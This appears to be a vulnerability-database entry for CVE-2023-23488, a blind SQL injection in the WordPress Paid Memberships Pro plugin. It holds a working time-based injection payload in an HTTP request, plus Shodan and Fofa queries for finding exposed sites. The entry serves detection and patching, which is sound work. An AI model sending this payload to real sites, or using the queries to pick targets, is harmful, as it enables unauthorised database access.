🔙 목록으로 돌아가기

CVE-2023-23488: WordPress Paid Memberships Pro <2.9.8 - Blind SQL Injection

TitleWordPress Paid Memberships Pro <2.9.8 - Blind SQL Injection
Authordwisiswant0
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.
RemediationUpgrade to WordPress Paid Memberships Pro version 2.9.8 or later to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.84182
CVE IDCVE-2023-23488
CWE IDCWE-89
Shodan Queryhttp.html:/wp-content/plugins/paid-memberships-pro/
Fofa Querybody=/wp-content/plugins/paid-memberships-pro/
Tags time-based-sqli cve2023 cve paid-memberships-pro wordpress tenable packetstorm wp-plugin sqli wp strangerstudios vkev vuln

🔍 Vulnerability Description

WordPress Paid Memberships Pro plugin before 2.9.8 contains a blind SQL injection vulnerability in the ‘code’ parameter of the /pmpro/v1/order REST route. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

GET /?rest_route=/pmpro/v1/order&code=a%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(7)))a)--%20- HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/paid-memberships-pro/js/updates.js HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-23488.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-23488.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A